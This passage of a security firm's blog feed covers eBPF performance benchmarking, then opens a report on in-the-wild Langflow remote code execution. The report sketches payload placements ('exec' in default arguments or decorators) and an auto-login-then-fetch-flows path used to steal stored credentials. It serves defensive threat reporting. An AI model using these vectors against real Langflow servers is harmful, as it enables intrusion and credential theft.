&lt;span class=&quot;token function&quot;&gt;bpf_probe_read_kernel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;ino&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ino&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;in&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;i_ino&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each &lt;code&gt;bpf_probe_read_kernel&lt;/code&gt; is a real function call into the kernel that range-checks the address and performs a fault-guarded copy through the stack.
The alternative, in BTF-aware program types (&lt;code&gt;fentry&lt;/code&gt; and friends) where pointers carry their types, is the &amp;quot;direct memory dereference&amp;quot;:&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;ino &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; task&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;mm&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;exe_file&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;f_inode&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;i_ino&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same CO-RE relocations (guided by BTF) are present, but each hop compiles to a single load instruction.
The JIT registers that load in an exception table so a faulting read yields &lt;code&gt;NULL&lt;/code&gt;.
The safety is identical -- but the guard is free on the (overwhelmingly common) non-faulting path, rather than paid in call overhead on every hop.&lt;/p&gt;
&lt;p&gt;In both forms, a bad read doesn&#39;t fault the program -- it &lt;em&gt;silently yields &lt;code&gt;NULL&lt;/code&gt;&lt;/em&gt;.
Behind the scenes, the kernel is doing two things to make this work.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;An explicit address-range check rejects user-space/&lt;code&gt;NULL&lt;/code&gt; addresses up front (at the cost of a branch).
Since 6.9 the verifier inserts this check as extra BPF instructions; before that, the JIT emitted it.
This prevents the worst outcomes of silently accessing user memory.&lt;/li&gt;
&lt;li&gt;If the accesses are made within the kernel-range of addresses that fault, the page-fault handler recovers the access (in a manner similar to how &lt;code&gt;copy_from_user&lt;/code&gt; works).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-core_read.svg&quot; alt=&quot;CO-RE probe-reads vs. direct dereference.&quot;&gt;&lt;/p&gt;
&lt;p&gt;The measurement is the same 4-hop walk above executed 64 times, as its own program per mechanism.
Dividing the medians by the 64 walks: one &lt;code&gt;task-&amp;gt;mm-&amp;gt;exe_file-&amp;gt;f_inode-&amp;gt;i_ino&lt;/code&gt; walk costs roughly &lt;strong&gt;16ns&lt;/strong&gt; via &lt;code&gt;BPF_CORE_READ&lt;/code&gt; (~4ns per hop, each hop a helper call) versus roughly &lt;strong&gt;1.3ns&lt;/strong&gt; dereferenced directly -- a ~12x gap, all of it per-hop call overhead.
The program-size gap (4 call sites vs. 4 loads per walk) also feeds the verifier&#39;s complexity budget.&lt;/p&gt;
&lt;p&gt;A challenge with the BTF-guided direct memory dereferences is that the verifier must understand the type at each step in the dereference chain.
The verifier tracks types for its abstract &lt;em&gt;registers&lt;/em&gt; and for full, aligned 8-byte spills of them to the stack; a typed pointer that goes anywhere else (a partial or misaligned spill, or a store into map memory) comes back as an untyped scalar and cannot be used for further direct dereferences.
More about this when we discuss verification in a future article.&lt;/p&gt;
&lt;h3 id=&quot;design-guidance-2&quot;&gt;Design guidance&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Dereference directly where the program type allows it.&lt;/em&gt;
In &lt;code&gt;fentry&lt;/code&gt;/tracing programs on BTF-typed pointers, chain walks cost a branch and a load whereas &lt;code&gt;BPF_CORE_READ&lt;/code&gt; additionally costs a call.
When BTF is available, leverage its benefits!&lt;/p&gt;
&lt;h2 id=&quot;ebpf-maps&quot;&gt;eBPF maps&lt;/h2&gt;
&lt;p&gt;While maps are a simple data-structure, they are pervasive in eBPF and can enable some pretty complex use-cases.
They&#39;ve even been used to implement an &lt;a href=&quot;https://dl.acm.org/doi/10.1145/3725272&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;in-memory database&lt;/a&gt;.
They come in multiple flavors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hashmaps -- maps from keys to values,&lt;/li&gt;
&lt;li&gt;arrays -- maps from integers to values,&lt;/li&gt;
&lt;li&gt;per-CPU arrays -- arrays with separate per-core visibility, and&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.ebpf.io/linux/map-type/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;many more&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-map_array.svg&quot; alt=&quot;eBPF map and array operations.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Each of these bars represents the overhead of performing a single operation in a hook on the system call.
Each of these bars has a &amp;quot;+x&amp;quot; value above the bar, which is the nanosecond overhead over the unhooked, normal system call.
Looking at the top set of bars (&amp;quot;1 core&amp;quot;) we can see that all operations are &lt;em&gt;relatively&lt;/em&gt; cheap, with the potential exception of &lt;code&gt;upsert&lt;/code&gt;s (i.e. updating a value in the data-structure with &lt;code&gt;bpf_map_update_elem&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The bottom set of bars is the same measurements, but with the workload split across 9 cores.
This means that any operations that require synchronization for parallel operations will increase in cost.
We see that here!
While most operations are roughly on par with the single core costs, we can see that the &lt;code&gt;upsert&lt;/code&gt; overhead blew up!
Let&#39;s look at that a little more.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-scaling.svg&quot; alt=&quot;eBPF operation scalability.&quot;&gt;&lt;/p&gt;
&lt;p&gt;This shows a more granular approach to understanding scalability, where we can see the evolution of the cost as we increase cores.
We haven&#39;t seen the result yet, but this also shows eager ring activation.
Both of these results show that if we care about performance on multicore systems, paying attention only to straightline costs on a single core is insufficient.&lt;/p&gt;
&lt;p&gt;These results should be a little surprising.
Not necessarily that the &lt;code&gt;upserts&lt;/code&gt; increase in cost, but that the other results &lt;em&gt;don&#39;t&lt;/em&gt;!
If you&#39;ve ever used a &lt;em&gt;concurrent hashtable&lt;/em&gt; (e.g. a &lt;a href=&quot;https://github.com/xacrimon/dashmap&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;DashMap&lt;/code&gt;&lt;/a&gt; in Rust), you might know that they scale well, but that they do increase in cost when going over a single core.
They often stripe the hash-space across multiple locks, which implies additional locking overhead -- at least atomic instructions.
eBPF maps leverage the kernel&#39;s support for RCU to avoid this on the lookup-side fastpaths.
Very impressive!&lt;/p&gt;
&lt;p&gt;The figures also include &lt;em&gt;task-local storage&lt;/em&gt; (&lt;code&gt;BPF_MAP_TYPE_TASK_STORAGE&lt;/code&gt;).
Rather than a table keyed by thread id, the value hangs directly off the thread&#39;s &lt;code&gt;task_struct&lt;/code&gt;: &lt;code&gt;bpf_task_storage_get&lt;/code&gt; on the current task chases a couple of pointers instead of hashing a key, making it a natural home for per-thread state carried across hooks.
Structurally it is the per-thread analogue of the per-CPU array -- state private to the executing context -- and the in-program stopwatch (two &lt;code&gt;bpf_ktime_get_ns&lt;/code&gt; calls around the operation) agrees: ~13ns per lookup versus ~10ns for the per-CPU array (a pointer chase and map-match check versus per-cpu address arithmetic), with both flat from 1 to 9 cores.
The figure above measures the whole system call, though, and there task storage costs more than the stopwatch suggests: 274ns rising to 340ns at 9 cores, against a flat 265ns for the per-CPU array, so part of its cost lands outside the operation itself.
The first use of task storage also has a spike when the value is associated with the task.&lt;/p&gt;
&lt;h3 id=&quot;design-guidance-3&quot;&gt;Design guidance&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Upserts are expensive.&lt;/em&gt; Avoiding &lt;code&gt;upserts&lt;/code&gt; where possible is necessary to maintain high performance, especially with increasing numbers of cores.
Luckily this can be done by leveraging lookups, and directly updating the values.
This gets complicated quickly, though: multiple cores might be accessing the value at the same time, so all such updates must carefully synchronize not only with other updates, but also with parallel accesses.
Practically, this means that our core global hash-tables avoid &lt;code&gt;upserts&lt;/code&gt;, and employ &lt;a href=&quot;https://en.wikipedia.org/wiki/Non-blocking_algorithm&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;non-blocking algorithms&lt;/a&gt; for updates&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn2&quot; id=&quot;fnref2&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Use arrays where possible.&lt;/em&gt; While we use arrays to save ~7ns per lookup over hash maps where possible, the good news is that the eBPF maps of all varieties are quite fast for lookups.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;ebpf-rings&quot;&gt;eBPF rings&lt;/h2&gt;
&lt;p&gt;A core requirement for most eBPF applications is that the eBPF code in the kernel can pass its processed and filtered observations about the kernel to user-level for further processing.
This capability is integral to most security applications that wish to understand the details of system execution.
Bounded &lt;a href=&quot;https://en.wikipedia.org/wiki/Circular_buffer&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ring buffers&lt;/a&gt; provide the core of this functionality.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-ring_syscall.svg&quot; alt=&quot;Ring enqueue operations.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Within the kernel, the core operation is to &lt;em&gt;enqueue&lt;/em&gt; data into the ring.
This enqueue operation is typically through the pair of &lt;a href=&quot;https://docs.ebpf.io/linux/helper-function/bpf_ringbuf_reserve/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;bpf_ringbuf_reserve&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://docs.ebpf.io/linux/helper-function/bpf_ringbuf_submit/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;bpf_ringbuf_submit&lt;/code&gt;&lt;/a&gt;.
The ring buffer is protected with a lock in the kernel (to synchronize for parallel reservations), so we&#39;d expect to see increasing costs for this operation as we increase in core-count.
Indeed, we see the measurements for 1 core being drastically less than for 9 cores, and most of this overhead is lock contention, and cache-line bouncing.&lt;/p&gt;
&lt;p&gt;When submitting the data into the ring, the &lt;code&gt;flags&lt;/code&gt; argument carries an indicator for whether the &lt;em&gt;event&lt;/em&gt; associated with the data should be delivered to the user-level thread &lt;em&gt;eagerly&lt;/em&gt; (immediately), should be &lt;em&gt;delayed&lt;/em&gt; till a future call, or some intelligent combination of both, the &lt;em&gt;default&lt;/em&gt; behavior.
This simple flag has large implications on performance.
To understand why, we have to dive into how Linux handles cross-core notifications.
If the user-level thread awaiting ring data is executing on another core, an event must wake it up.
But it isn&#39;t straightforward to implement that.
What if another thread is currently running on that core?
What if the thread we&#39;re sending the event to is currently being updated by the scheduler on that core?&lt;/p&gt;
&lt;p&gt;So this cross-core event notification can be quite expensive: requiring taking locks (e.g. to add the thread to the remote core&#39;s runqueue), and sending Inter-Processor Interrupts (IPIs).
The latter is more expensive than I&#39;d wish: sending IPIs is a synchronous operation on &lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Programmable_Interrupt_Controller&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;LAPIC&lt;/a&gt; hardware, and &lt;em&gt;receiving&lt;/em&gt; the IPI on the target event&#39;s core is a heavyweight interrupt.
These costs are visible in the default and eager bars, but they land in different places.
The default policy only sends a wakeup when the consumer has already drained everything ahead of the new record, so its median stays within ~15% of delayed at both 1 and 9 cores while its 99th percentile is 4.5x delayed on a single core.
Eager pays the wakeup on every submit, so its median jumps too (4.8x delayed on a single core).
So we should all use &lt;em&gt;delayed&lt;/em&gt; events, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-ring_publication.svg&quot; alt=&quot;Ring event delivery latencies.&quot;&gt;&lt;/p&gt;
&lt;p&gt;No.
The overhead of publishing the events is one factor, but another important factor is how long it takes to deliver the event to the user-level process that consumes the data from the ring buffer.
Note that the overheads for these operations are in &lt;em&gt;microseconds&lt;/em&gt; instead of nanoseconds.
The intuition is that if we &lt;em&gt;eagerly&lt;/em&gt; push data to the ring in the eBPF program, we should see it faster than if we &lt;em&gt;delay&lt;/em&gt; pushing&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn3&quot; id=&quot;fnref3&quot;&gt;[3]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;These results show that the trade-off is really between tail enqueue cost and delivery latency; on the median, the default policy already sits at a good point.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Minimal median overhead?&lt;/th&gt;
&lt;th&gt;Minimal tail (p99) overhead?&lt;/th&gt;
&lt;th&gt;Reasonable event delivery latency?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Delayed&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default&lt;/td&gt;
&lt;td&gt;✔ (within ~15%)&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Eager&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;design-guidance-4&quot;&gt;Design guidance&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Beware of too-frequent event notifications.&lt;/em&gt; While the default ring policy does decently well, without requiring any bespoke logic for sending events, managing how frequently events are sent can have a significant impact on ring operation overheads, and on event delivery latencies.
We design ring interactions with this in mind by explicitly rate-limiting event notifications -- an optimization that removed 20% overhead!&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Ring-buffer enqueue contention.&lt;/em&gt; The lock overhead for using ring operations on 9 versus 1 core is also significant.
We&#39;ve experimented with using multiple rings to decrease this overhead, but doing so complicates causal reasoning.
With this, a timeline of events is now split between multiple rings, and must be reconstructed at user-level.
This is on the roadmap.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;dynamic-data-structures&quot;&gt;Dynamic data-structures&lt;/h2&gt;
&lt;p&gt;Maps and rings have taken eBPF pretty far, but for complex data-structures, they are challenging to compose.
If we wanted to use more complex data-structures, there are two general options.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Kernel-managed&lt;/em&gt; data-structures: &lt;code&gt;bpf_obj_new&lt;/code&gt;/&lt;code&gt;bpf_obj_drop&lt;/code&gt; allocate typed, verifier-owned objects that link into kernel-provided linked lists (&lt;code&gt;bpf_list&lt;/code&gt;) and red-black trees (&lt;code&gt;bpf_rbtree&lt;/code&gt;).
These leverage the kernel&#39;s actual data-structures, so benefit from the efficiency therein.
Unfortunately, the verifier requires that each operation must be wrapped in a &lt;code&gt;bpf_spin_lock&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Self-managed&lt;/em&gt; data-structures: &lt;em&gt;arenas&lt;/em&gt; (&lt;code&gt;BPF_MAP_TYPE_ARENA&lt;/code&gt;) enable dynamic page allocation/deallocation, and the full eBPF-program managed memory within those pages.
As such, we can implement a memory allocator using arenas, and implement our own data-structures!
Arena allocation itself is page-granularity (&lt;code&gt;bpf_arena_alloc_pages&lt;/code&gt;); anything finer -- an object allocator, a list -- you build yourself, along with its synchronization.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-dyn_mem.svg&quot; alt=&quot;Dynamic data-structure operations.&quot;&gt;&lt;/p&gt;
&lt;p&gt;The object-granularity operations all land within a few nanoseconds of each other -- tens of ns whether the kernel manages the structure or the program does -- while arena &lt;em&gt;page&lt;/em&gt; allocation is ~60x an object operation: real arena code carves pages into an object allocator rather than calling the page allocator per object.
The bottom set of bars (9 cores) shows the cost of sharing: these structures (unlike the maps above) sit behind a single &lt;code&gt;bpf_spin_lock&lt;/code&gt;, so contended cores serialize -- the locked structures jump ~29-52x (list push+pop 18 to 515ns median, rbtree add+remove 18 to 942ns, the lock-guarded arena list 15 to 716ns).
In contrast, arenas can provide synchronization in any way they choose.
In these results, we use a simple per-core &lt;a href=&quot;https://en.wikipedia.org/wiki/Treiber_stack&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Treiber stack&lt;/a&gt; with limited retries (to make the verifier happy) to demonstrate a lock-free option, along with a shared Treiber stack to demonstrate shared data-structure overhead.
&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn4&quot; id=&quot;fnref4&quot;&gt;[4]&lt;/a&gt;&lt;/sup&gt;
As expected, the scalability properties are strong: the shared stack&#39;s CAS-based push+pop costs 26ns median against 716ns for the lock-guarded arena list, and the per-core stack costs don&#39;t increase at all (12ns at 1 core, 11ns at 9).
This mimics the kernel-native allocator costs for &lt;code&gt;bpf_mem_alloc&lt;/code&gt;.
Lock-free helps even when shared, but per-core stacks scale perfectly, as you&#39;d expect.&lt;/p&gt;
&lt;p&gt;Availability and hook restrictions are key trade-offs. Availability:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Kernel version availability&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bpf_obj_new&lt;/code&gt;/&lt;code&gt;drop&lt;/code&gt;, &lt;code&gt;bpf_list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bpf_rbtree&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arenas&lt;/td&gt;
&lt;td&gt;6.9 (and LLVM/clang 19 to build)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The hook restrictions include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bpf_spin_lock&lt;/code&gt; is rejected in &lt;code&gt;kprobe&lt;/code&gt;, tracepoint, raw tracepoint, and perf-event programs, so the kernel-managed structures are limited to &lt;code&gt;fentry&lt;/code&gt;/&lt;code&gt;fexit&lt;/code&gt;, LSM, networking, and syscall-style program types, and&lt;/li&gt;
&lt;li&gt;before 7.0, &lt;code&gt;bpf_arena_alloc_pages&lt;/code&gt; allocation was sleepable-only, which drastically limited the hook-points available (e.g. LSM or system calls); 7.0 made the arena kfuncs safe to call from any context.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arenas use a sparse memory region that can be shared with user-level.
It is &lt;code&gt;mmap&lt;/code&gt;-able, and pointers are valid across user-mappings and the kernel.
While this likely doesn&#39;t replace rings (as they provide event notification as well), it is amazingly powerful!&lt;/p&gt;
&lt;h3 id=&quot;design-guidance-5&quot;&gt;Design guidance&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Arena pages have all the overheads of vmalloc and buddy allocation -- cache and write your own allocator!&lt;/em&gt; Avoid page-allocations, instead caching allocated pages, and allocating within them yourself.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Object allocation is fast, but provided data-structures require locks.&lt;/em&gt; Access to lists and balanced binary trees is great, but the lock requirement requires careful design to achieve scalability.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Compatibility is a big limiting factor here.&lt;/em&gt; Nothing here exists before 6.2, arenas before 6.9 -- and the lock (and thus &lt;code&gt;bpf_list&lt;/code&gt;/&lt;code&gt;bpf_rbtree&lt;/code&gt;) is unavailable in &lt;code&gt;kprobe&lt;/code&gt; and tracepoint programs, leaving &lt;code&gt;fentry&lt;/code&gt; as the only &lt;em&gt;tracing&lt;/em&gt; hook that can use them.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;compatibility-and-configuration-flags&quot;&gt;Compatibility and configuration flags&lt;/h2&gt;
&lt;p&gt;Last, something more mundane, but equally important: configuration management.
eBPF has many useful utilities, but they are often gated behind a wide variety of &lt;a href=&quot;https://docs.ebpf.io/linux/timeline/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;kernel versions&lt;/a&gt;.
This means that eBPF code typically must be configurable to the kernel version and environment of a specific production machine.
Doing all of this at compile time (with &lt;code&gt;#ifdef&lt;/code&gt;-hell) can be cumbersome.
Luckily eBPF provides reasonable means to do this at eBPF program load time.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-flags.svg&quot; alt=&quot;Compatibility flags&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using a read-only map, and configuring its contents before loading the eBPF program does something fantastic.
It drives the Dead-Code Elimination (DCE) pass of the verifier to generate efficient code specific to that configuration.
We can see this in the overheads.
We compare against storing the configuration in an RW array map, or in a global variable (which is transparently backed by an array map).
When the feature is turned &amp;quot;on&amp;quot;, all approaches have comparable overhead.
But when the feature is turned &amp;quot;off&amp;quot;, the DCE approach achieves the lowest overhead as the code is effectively generated with no conditions!
On the right, we can see that DCE also ends up shrinking the program size which massively aids in verification (see this space in the future).&lt;/p&gt;
&lt;h2 id=&quot;go-forth-and-ebpf-wisely&quot;&gt;Go Forth and eBPF Wisely!&lt;/h2&gt;
&lt;p&gt;While there are many additional abstractions and helper functions exposed to eBPF, these often form the core.
The challenge is optimizing the actual eBPF code to be both fast and resource efficient while still passing the verifier.
Put another way: eBPF is a &lt;em&gt;deep, awesome rabbit hole&lt;/em&gt;.
We&#39;re trying to wring every capability and cycle out of it at Bitbison -- we likely are among the use-cases with the highest event throughputs!
Watch this space for more.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot;&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Verification does &lt;em&gt;quite a bit more&lt;/em&gt;, but for the purposes of our discussion, I&#39;m simplifying here. The kernel&#39;s &lt;a href=&quot;https://docs.kernel.org/bpf/verifier.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;verifier documentation&lt;/a&gt; has the gory details, &lt;a href=&quot;https://seahorn.github.io/papers/ebpf-pldi19.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;this paper&lt;/a&gt; gives a formal treatment of the problem, and &lt;a href=&quot;https://dl.acm.org/doi/10.1145/3672197.3673435&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;this one&lt;/a&gt; looks at verifying the functional behavior of eBPF programs themselves. &lt;a href=&quot;#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The constraint is actually even more restrictive. These actually must be &lt;a href=&quot;https://en.wikipedia.org/wiki/Non-blocking_algorithm#Wait-freedom&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;em&gt;wait-free&lt;/em&gt;&lt;/a&gt; to guarantee that each eBPF program has a bounded number of execution steps! &lt;a href=&quot;#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In the &lt;em&gt;delay&lt;/em&gt; variant, we actually do eagerly enqueue once out of 4096 enqueue operations to ensure that we deliver the notification at some point. &lt;a href=&quot;#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;One wrinkle: with nodes recycled through push/pop cycles on every core, the textbook Treiber stack corrupts itself via &lt;a href=&quot;https://en.wikipedia.org/wiki/ABA_problem&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ABA&lt;/a&gt;, and eBPF has no double-width CAS for the usual tagged-pointer fix. An arena pointer only needs 32 bits (they are limited to 4GB), so the stack head packs {tag:32, offset:32} into a single CAS-able word. &lt;a href=&quot;#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <title>Langflow RCE: 34 minutes to server compromise</title>
    <link href="https://bitbison.io/blog/langflow-rce-exposure/" />
    <updated>2026-08-19T00:00:00Z</updated>
    <id>https://bitbison.io/blog/langflow-rce-exposure/</id>
    <category term="wild" />
    <summary>We analyzed how a popular AI infrastructure platform is being exploited in the wild.</summary>
    <content type="html">&lt;h2 id=&quot;exploit-payloads-observed-in-the-wild&quot;&gt;Exploit payloads observed in the wild&lt;/h2&gt;
&lt;p&gt;The table below summarizes the 328 exploit attempts observed in the wild
against our Langflow fleet.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Where the attacker put the payload&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;Attempts&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;Share&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Default argument, &lt;code&gt;def f(x=exec(...))&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;234&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;71.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decorator, &lt;code&gt;@exec(...)&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;73&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;22.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Top-level code, malformed input or validation probes&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;17&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;5.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component payload exposing environment variables&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;1.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Because Langflow returned command output in validation responses, 29% of
attacker IPs that achieved code execution received every planted environment
secret. 6 of the 15 sources that exfiltrated the planted OpenAI key retrieved
it from saved flow data with a token from &lt;code&gt;/api/v1/auto_login&lt;/code&gt;; none
called &lt;code&gt;/api/v1/validate/code&lt;/code&gt;. A successful full-data &lt;code&gt;GET /api/v1/flows&lt;/code&gt;
after &lt;code&gt;/api/v1/auto_login&lt;/code&gt; from an untrusted source means credentials stored in
the returned flow definitions were exposed and must be rotated.&lt;/p&gt;
&lt;h2 id=&quot;scan-volume-did-not-predict-langflow-exploitation&quot;&gt;Scan volume did not predict Langflow exploitation&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Window&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;External requests/hour&lt;/th&gt;
&lt;th style=&quot;text-align:right&quot;&gt;Exploit attempts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Busiest window in the study&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;192.2&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second busiest&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;149.5&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quietest window in the initial round&lt;/td&gt;
&lt;td style=&quot;text-align:right&quot;&gt;24.9&lt;/td&gt;
